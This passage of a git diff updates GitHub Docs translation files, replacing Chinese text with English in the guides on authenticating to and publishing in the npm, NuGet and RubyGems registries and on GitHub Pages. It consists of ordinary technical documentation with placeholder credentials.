ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: ```shell @OWNER:registry=https://HOSTNAME/_registry/npm @@ -211,11 +208,11 @@ $ npm login --scope=@OWNER --registry=https://HOSTNAME/_regist {% endif %} {% ifversion ghes %} -## 使用官方 NPM 注册表 +## Using the official NPM registry -{% data variables.product.prodname_registry %} 允许您访问 `registry.npmjs.com` 上的官方 NPM 注册表，前提是您的 {% data variables.product.prodname_ghe_server %} 管理员已启用此功能。 更多信息请参阅[连接到官方 NPM 注册表](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry)。 +{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). {% endif %} -## 延伸阅读 +## Further reading -- "{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md index 3ea5c51dd6..347a099de3 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md @@ -1,6 +1,6 @@ --- -title: 使用 NuGet 注册表 -intro: '您可以配置 `dotnet` 命令行接口 (CLI) 以将 NuGet 包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作 .NET 项目中的依赖项。' +title: Working with the NuGet registry +intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-nuget-for-use-with-github-package-registry @@ -14,21 +14,21 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: NuGet 注册表 +shortTitle: NuGet registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**注：**安装或发布 Docker 映像时，{% data variables.product.prodname_registry %} 当前不支持外部图层，如 Windows 映像。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} -### 在 {% data variables.product.prodname_actions %} 中使用 `GITHUB_TOKEN` 进行身份验证 +### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} -在 {% data variables.product.prodname_actions %} 工作流程中通过以下命令使用 `GITHUB_TOKEN` 向 {% data variables.product.prodname_registry %} 验证，而不是对仓库的 nuget.config 文件中的令牌进行硬编码。 +Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a token in a nuget.config file in the repository: ```shell dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" @@ -36,19 +36,19 @@ dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB {% data reusables.package_registry.authenticate-packages-github-token %} -### 使用个人访问令牌进行身份验证 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -要使用 `dotnet` 命令行接口 (CLI) 向 {% data variables.product.prodname_registry %} 验证，请在项目目录中创建一个 *nuget.config* 文件，将 {% data variables.product.prodname_registry %} 指定为 `dotnet` CLI 客户端的 `packageSources` 下的源。 +To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. -必须： -- 将 `USERNAME` 替换为您在 {% data variables.product.prodname_dotcom %} 上的用户帐户的名称。 -- 将 `TOKEN` 替换为您的个人访问令牌。 -- 将 `OWNER` 替换为拥有项目所在仓库的用户或组织帐户的名称。{% ifversion ghes or ghae %} -- 将 `HOSTNAME` 替换为 {% data variables.product.product_location %} 的主机名。{% endif %} +You must replace: +- `USERNAME` with the name of your user account on {% data variables.product.prodname_dotcom %}. +- `TOKEN` with your personal access token. +- `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes or ghae %} +- `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} -{% ifversion ghes %}如果您的实例启用了子域隔离： +{% ifversion ghes %}If your instance has subdomain isolation enabled: {% endif %} ```xml @@ -68,44 +68,43 @@ dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB ``` {% ifversion ghes %} -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +If your instance has subdomain isolation disabled: ```xml - - - - Exe - netcoreapp3.0 - OctodogApp - 1.0.0 - Octodog - GitHub - This package adds an Octodog! - https://github.com/octo-org/octo-cats-and-dogs - - - + + + + + + + + + + + + + ``` {% endif %} -## 发布包 +## Publishing a package You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} personal access token (PAT). -### 使用 GitHub PAT 作为 API 密钥发布包 +### Publishing a package using a GitHub PAT as your API key -如果您还没有用于 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上帐户的 PAT，请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 +If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -1. 创建一个新项目。 +1. Create a new project. ```shell dotnet new console --name OctocatApp ``` -2. 打包项目。 +2. Package the project. ```shell dotnet pack --configuration Release ``` -3. 使用您的 PAT 作为 API 密钥发布包。 +3. Publish the package using your PAT as the API key. ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" ``` @@ -113,20 +112,20 @@ You can publish a package to {% data variables.product.prodname_registry %} by a {% data reusables.package_registry.viewing-packages %} -### 使用 *nuget.config* 文件发布包 +### Publishing a package using a *nuget.config* file -发布时，您需要将 *csproj* 文件中的 `OWNER` 值用于您的 *nuget.config* 身份验证文件。 在 *.csproj* 文件中指定或增加版本号，然后使用 `dotnet pack` 命令创建该版本的 *.nuspec* 文件。 有关创建包的更多信息，请参阅 Microsoft 文档中的“[创建和发布包](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)”。 +When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation. {% data reusables.package_registry.authenticate-step %} -2. 创建一个新项目。 +2. Create a new project. ```shell dotnet new console --name OctocatApp ``` -3. 将项目的特定信息添加到以 *.csproj* 结尾的项目文件中。 必须： - - 将 `OWNER` 替换为拥有项目所在仓库的用户或组织帐户的名称。 - - 将 `REPOSITORY` 替换为要发布的包所在仓库的名称。 - - `1.0.0` 替换为包的版本号。{% ifversion ghes or ghae %} - - 将 `HOSTNAME` 替换为 {% data variables.product.product_location %} 的主机名。{% endif %} +3. Add your project's specific information to your project's file, which ends in *.csproj*. You must replace: + - `OWNER` with the name of the user or organization account that owns the repository containing your project. + - `REPOSITORY` with the name of the repository containing the package you want to publish. + - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %} + - `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} ``` xml @@ -143,23 +142,23 @@ You can publish a package to {% data variables.product.prodname_registry %} by a ``` -4. 打包项目。 +4. Package the project. ```shell dotnet pack --configuration Release ``` -5. 使用您在 *nuget.config* 文件中指定的 `key` 发布包。 +5. Publish the package using the `key` you specified in the *nuget.config* file. ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github" ``` {% data reusables.package_registry.viewing-packages %} -## 将多个包发布到同一个仓库 +## Publishing multiple packages to the same repository -要将多个包发布到同一个仓库，您可以在所有 *.csproj* 项目文件的 `RepositoryURL` 字段中包含相同的 {% data variables.product.prodname_dotcom %} 仓库 URL。 {% data variables.product.prodname_dotcom %} 根据该字段匹配仓库。 +To publish multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. -例如，*OctodogApp* 和 *OctocatApp* 项目将发布到同一个仓库： +For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository: ``` xml @@ -195,13 +194,13 @@ You can publish a package to {% data variables.product.prodname_registry %} by a ``` -## 安装包 +## Installing a package -在项目中使用来自 {% data variables.product.prodname_dotcom %} 的包类似于使用来自 *nuget.org* 的包。 将包依赖项添加到 *.csproj* 文件以指定包名称和版本。 有关在项目中使用 *.csproj* 文件的更多信息，请参阅 Microsoft 文档中的“[使用 NuGet 包](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)”。 +Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation. {% data reusables.package_registry.authenticate-step %} -2. 要使用包，请添加 `ItemGroup` 并配置 *.csproj* 项目文件中的 `PackageReference` 字段，将 `OctokittenApp` 包替换为您的包依赖项，将 `1.0.0` 替换为您要使用的版本： +2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file, replacing the `OctokittenApp` package with your package dependency and `1.0.0` with the version you want to use: ``` xml @@ -223,15 +222,15 @@ You can publish a package to {% data variables.product.prodname_registry %} by a ``` -3. 使用 `restore` 命令安装包。 +3. Install the packages with the `restore` command. ```shell dotnet restore ``` -## 疑难解答 +## Troubleshooting -如果 *.csproj* 中的 `RepositoryUrl` 未设置为预期的仓库，则 NuGet 包可能无法推送。 +Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository . -## 延伸阅读 +## Further reading -- "{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md index 00f86a9929..7afbca5c42 100644 --- a/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md +++ b/translations/zh-CN/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md @@ -1,6 +1,6 @@ --- -title: 使用 RubyGems 注册表 -intro: '您可以配置 RubyGems 以将包发布到 {% data variables.product.prodname_registry %} 并将存储在 {% data variables.product.prodname_registry %} 上的包用作带 Bundler 的 Ruby 项目中的依赖项。' +title: Working with the RubyGems registry +intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-rubygems-for-use-with-github-package-registry @@ -13,65 +13,66 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: RubyGems 注册表 +shortTitle: RubyGems registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -**注：**安装或发布 Docker 映像时，{% data variables.product.prodname_registry %} 当前不支持外部图层，如 Windows 映像。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 基本要求 +## Prerequisites -- 必须拥有 rubygems 2.4.1 或更高版本. 要查找您的 rubygems 版本： +- You must have rubygems 2.4.1 or higher. To find your rubygems version: ```shell $ gem --version ``` -- 必须拥有 bundler 1.6.4 或更高版本. 要查找您的 Bundler 版本： +- You must have bundler 1.6.4 or higher. To find your Bundler version: ```shell $ bundle --version Bundler version 1.13.7 ``` -- 安装 keycutter 以管理多个凭据. 要安装 keycutter： +- Install keycutter to manage multiple credentials. To install keycutter: ```shell $ gem install keycutter ``` -## 向 {% data variables.product.prodname_registry %} 验证 +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 使用个人访问令牌进行身份验证 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -通过编辑用于发布 gem 的 *~/.gem/credentials* 文件、编辑用于安装单个 gem 的 *~/.gemrc* 文件或使用用于跟踪和安装一个或多个 gem 的 Bundler，使用 RubyGems 向 {% data variables.product.prodname_registry %} 验证。 +You can authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing the *~/.gem/credentials* file for publishing gems, editing the *~/.gemrc* file for installing a single gem, or using Bundler for tracking and installing one or more gems. -要发布新的 gem，您需要通过编辑 *~/.gem/credentials* 文件以包含您的个人访问令牌，使用 RubyGems 向 {% data variables.product.prodname_registry %} 验证。 如果 *~/.gem/credentials* 文件不存在，请新建该文件。 +To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your *~/.gem/credentials* file to include your personal access token. Create a new *~/.gem/credentials* file if this file doesn't exist. -例如，您要创建或编辑 *~/.gem/credentials* 以包含以下内容，将 *TOKEN* 替换为您的个人访问令牌。 +For example, you would create or edit a *~/.gem/credentials* to include the following, replacing *TOKEN* with your personal access token. ```shell -gem.metadata = { "github_repo" => "ssh://github.com/OWNER/REPOSITORY" } +--- +:github: Bearer TOKEN ``` -要安装 gem，您需要通过编辑项目的 *~/.gemrc* 文件以包含 `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`，向 {% data variables.product.prodname_registry %} 验证。 必须： - - 将 `USERNAME` 替换为您的 {% data variables.product.prodname_dotcom %} 用户名。 - - 将 `TOKEN` 替换为您的个人访问令牌。 - - 将 `OWNER` 替换为拥有项目所在仓库的用户或组织帐户的名称。{% ifversion ghes %} - - `REGISTRY-URL` 替换为您实例的 Rubygems 注册表的 URL。 如果您的实例启用了子域隔离，请使用 `rubygems.HOSTNAME`。 如果您的实例禁用了子域隔离，请使用 `HOSTNAME/_registry/rubygems`。 在任一情况下，都将 *HOSTNAME* 替换为 {% data variables.product.prodname_ghe_server %} 实例的主机名。 +To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. You must replace: + - `USERNAME` with your {% data variables.product.prodname_dotcom %} username. + - `TOKEN` with your personal access token. + - `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance. {% elsif ghae %} - - `REGISTRY-URL` 替换为您实例的 Rubygems 注册表的 URL `rubygems.HOSTNAME`。 将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名。 + - `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}. {% endif %} -如果您没有 *~/.gemrc* 文件，请使用此示例创建新的 *~/.gemrc* 文件。 +If you don't have a *~/.gemrc* file, create a new *~/.gemrc* file using this example. ```shell --- @@ -85,24 +86,24 @@ gem.metadata = { "github_repo" => "ssh://github.com/OWNER/REPOSITORY" } ``` -要使用 Bundler 进行身份验证，请配置 Bundler 使用您的个人访问令牌，将 *USERNAME* 替换为您的 {% data variables.product.prodname_dotcom %} 用户名，将 *TOKEN* 替换为您的个人访问令牌，将 *OWNER* 替换为拥有项目所在仓库的用户或组织帐户的名称。{% ifversion ghes %}将 `REGISTRY-URL` 替换为实例 Rubygems 注册表的 URL。 如果您的实例启用了子域隔离，请使用 `rubygems.HOSTNAME`。 如果您的实例禁用了子域隔离，请使用 `HOSTNAME/_registry/rubygems`。 在任一情况下，将 *HOSTNAME* 替换为您的 {% data variables.product.prodname_ghe_server %} 实例的主机名。{% elsif ghae %}将 `REGISTRY-URL` 替换为实例的 Rubygems 注册表 URL `rubygems.HOSTNAME`。 将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名。{% endif %} +To authenticate with Bundler, configure Bundler to use your personal access token, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *OWNER* with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %}Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```shell $ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER USERNAME:TOKEN ``` -## 发布包 +## Publishing a package -{% data reusables.package_registry.default-name %} 例如，您将 `octo-gem` 发布到 `octo-org` 组织时，{% data variables.product.prodname_registry %} 将 gem 发布到 `octo-org/octo-gem` 仓库。 有关创建 gem 的更多信息，请参阅 RubyGems 文档中的“[创建自己的 gem](http://guides.rubygems.org/make-your-own-gem/)”。 +{% data reusables.package_registry.default-name %} For example, when you publish `octo-gem` to the `octo-org` organization, {% data variables.product.prodname_registry %} publishes the gem to the `octo-org/octo-gem` repository. For more information on creating your gem, see "[Make your own gem](http://guides.rubygems.org/make-your-own-gem/)" in the RubyGems documentation. {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. 从 *gemspec* 构建包以创建 *.gem* 包。 +2. Build the package from the *gemspec* to create the *.gem* package. ```shell gem build OCTO-GEM.gemspec ``` -3. 将包发布到 {% data variables.product.prodname_registry %}，将 `OWNER` 替换为拥有项目所在仓库的用户或组织帐户的名称，将 `OCTO-GEM` 替换为 gem 包的名称。{% ifversion ghes %}将 `REGISTRY-URL` 替换为实例 Rubygems 注册表的 URL。 如果您的实例启用了子域隔离，请使用 `rubygems.HOSTNAME`。 如果您的实例禁用了子域隔离，请使用 `HOSTNAME/_registry/rubygems`。 在任一情况下，将 *HOSTNAME* 替换为您的 {% data variables.product.prodname_ghe_server %} 实例的主机名。{% elsif ghae %}将 `REGISTRY-URL` 替换为实例的 Rubygems 注册表 URL `rubygems.HOSTNAME`。 将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名。{% endif %} +3. Publish a package to {% data variables.product.prodname_registry %}, replacing `OWNER` with the name of the user or organization account that owns the repository containing your project and `OCTO-GEM` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```shell $ gem push --key github \ @@ -110,20 +111,20 @@ $ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% els OCTO-GEM-0.0.1.gem ``` -## 将多个包发布到同一个仓库 +## Publishing multiple packages to the same repository -要将多个 gem 发布到同一个仓库，您可以在 `gem.metadata` 的 `github_repo` 字段中包含 {% data variables.product.prodname_dotcom %} 仓库的 URL。 如果您包含此字段，则 {% data variables.product.prodname_dotcom %} 根据此值匹配仓库，而不使用 gem 名称。{% ifversion ghes or ghae %} 将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名称。{% endif %} +To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes or ghae %} Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}.{% endif %} ```ruby gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } ``` -## 安装包 +## Installing a package -您可以使用来自 {% data variables.product.prodname_registry %} 的 gem，就像使用来自 *rubygems.org* 的 gem 一样。 您需要通过将您的 {% data variables.product.prodname_dotcom %} 用户或组织添加为 *~/.gemrc* 文件中的源，或者使用 Bundler 并编辑 *Gemfile*，向 {% data variables.product.prodname_registry %} 验证。 +You can use gems from {% data variables.product.prodname_registry %} much like you use gems from *rubygems.org*. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the *~/.gemrc* file or by using Bundler and editing your *Gemfile*. {% data reusables.package_registry.authenticate-step %} -1. 对于 Bundler，请将您的 {% data variables.product.prodname_dotcom %} 用户或组织添加为 *Gemfile* 中的源，以便从这个新源获取 gem。 例如，您可以将新的 `source` 块添加到仅对您指定的包使用 {% data variables.product.prodname_registry %} 的 *Gemfile*，将 *GEM NAME* 替换为要从 {% data variables.product.prodname_registry %} 安装的包，将 *OWNER* 替换为拥有要安装的 gem 所在仓库的用户或组织。{% ifversion ghes %} 将 `REGISTRY-URL` 替换为实例的 Rubygems 注册表的 URL。 如果您的实例启用了子域隔离，请使用 `rubygems.HOSTNAME`。 如果您的实例禁用了子域隔离，请使用 `HOSTNAME/_registry/rubygems`。 在任一情况下，将 *HOSTNAME* 替换为您的 {% data variables.product.prodname_ghe_server %} 实例的主机名。{% elsif ghae %}将 `REGISTRY-URL` 替换为实例的 Rubygems 注册表 URL `rubygems.HOSTNAME`。 将 *HOSTNAME* 替换为 {% data variables.product.product_location %} 的主机名。{% endif %} +1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your *Gemfile* to fetch gems from this new source. For example, you can add a new `source` block to your *Gemfile* that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing *GEM NAME* with the package you want to install from {% data variables.product.prodname_registry %} and *OWNER* with the user or organization that owns the repository containing the gem you want to install.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```ruby source "https://rubygems.org" @@ -135,7 +136,7 @@ gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% end ``` -3. 对于 1.7.0 之前的 Bundler 版本，您需要增加新的全局 `source`。 有关使用 Bundler 的更多信息，请参阅 [bundler.io 文档](http://bundler.io/v1.5/gemfile.html)。 +3. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](http://bundler.io/v1.5/gemfile.html). ```ruby source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" @@ -145,11 +146,11 @@ gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% gem "GEM NAME" ``` -4. 安装包： +4. Install the package: ```shell $ gem install octo-gem --version "0.1.1" ``` -## 延伸阅读 +## Further reading -- "{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}" +- "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md index f91b09f0ad..dd40cb5a26 100644 --- a/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md +++ b/translations/zh-CN/content/pages/getting-started-with-github-pages/about-github-pages.md @@ -120,6 +120,12 @@ A MIME type is a header that a server sends to a browser, providing information While you can't specify custom MIME types on a per-file or per-repository basis, you can add or modify MIME types for use on {% data variables.product.prodname_pages %}. For more information, see [the mime-db contributing guidelines](https://github.com/jshttp/mime-db#adding-custom-media-types). +{% ifversion fpt %} +## Data collection + +When a {% data variables.product.prodname_pages %} site is visited, the visitor's IP address is logged and stored for security purposes, regardless of whether the visitor has signed into {% data variables.product.prodname_dotcom %} or not. For more information about {% data variables.product.prodname_dotcom %}'s security practices, see {% data variables.product.prodname_dotcom %} Privacy Statement. +{% endif %} + ## Further reading - [{% data variables.product.prodname_pages %}](https://lab.github.com/githubtraining/github-pages) on {% data variables.product.prodname_learning %} diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md index 2f6afdb2ab..0a8646cfee 100644 --- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md +++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/about-jekyll-build-errors-for-github-pages-sites.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub Pages 站点的 Jekyll 构建错误 -intro: '如果在本地或 {% data variables.product.product_name %} 上构建 {% data variables.product.prodname_pages %} 站点发生 Jekyll 错误，您将收到一条错误消息，其中包含相关详细信息。' +title: About Jekyll build errors for GitHub Pages sites +intro: 'If Jekyll encounters an error building your {% data variables.product.prodname_pages %} site locally or on {% data variables.product.product_name %}, you''ll receive an error message with more information.' redirect_from: - /articles/viewing-jekyll-build-error-messages/ - /articles/generic-jekyll-build-failures/ @@ -14,51 +14,51 @@ versions: ghec: '*' topics: - Pages -shortTitle: Pages 的 Jekyll 构建错误 +shortTitle: Jekyll build errors for Pages --- -## 关于 Jekyll 构建错误 +## About Jekyll build errors -有时，在您推送更改到站点的发布源之后，{% data variables.product.prodname_pages %} 不会尝试构建您的站点。{% ifversion fpt or ghec %} -- 推送更改的人尚未验证他们的电子邮件地址。 更多信息请参阅“[验证电子邮件地址](/articles/verifying-your-email-address)”。{% endif %} -- 您使用部署密钥推送。 如果要自动推送到站点的仓库，您可以改为设置计算机用户。 更多信息请参阅“[管理部署密钥](/developers/overview/managing-deploy-keys#machine-users)”。 -- 您使用的是未配置为构建发布源的 CI 服务。 例如，Travis CI 不会构建 `gh-pages` 分支，除非您将该分支添加到安全列表。 更多信息请参阅 Travis CI 上的“[定制构建](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches)”或者 CI 服务的文档。 +Sometimes, {% data variables.product.prodname_pages %} will not attempt to build your site after you push changes to your site's publishing source.{% ifversion fpt or ghec %} +- The person who pushed the changes hasn't verified their email address. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."{% endif %} +- You're pushing with a deploy key. If you want to automate pushes to your site's repository, you can set up a machine user instead. For more information, see "[Managing deploy keys](/developers/overview/managing-deploy-keys#machine-users)." +- You're using a CI service that isn't configured to build your publishing source. For example, Travis CI won't build the `gh-pages` branch unless you add the branch to a safe list. For more information, see "[Customizing the build](https://docs.travis-ci.com/user/customizing-the-build/#safelisting-or-blocklisting-branches)" on Travis CI, or your CI service's documentation. {% note %} -**注：**对站点的更改在推送到 {% data variables.product.product_name %} 后，最长可能需要 20 分钟才会发布。 +**Note:** It can take up to 20 minutes for changes to your site to publish after you push the changes to {% data variables.product.product_name %}. {% endnote %} -如果 Jekyll 尝试构建站点但遇到错误，您将收到一条构建错误消息。 Jekyll 构建错误消息有两种主要类型。 -- “Page build warning（页面构建警告）”消息表示构建已成功完成，但您可能需要进行更改以防止将来出现问题。 -- 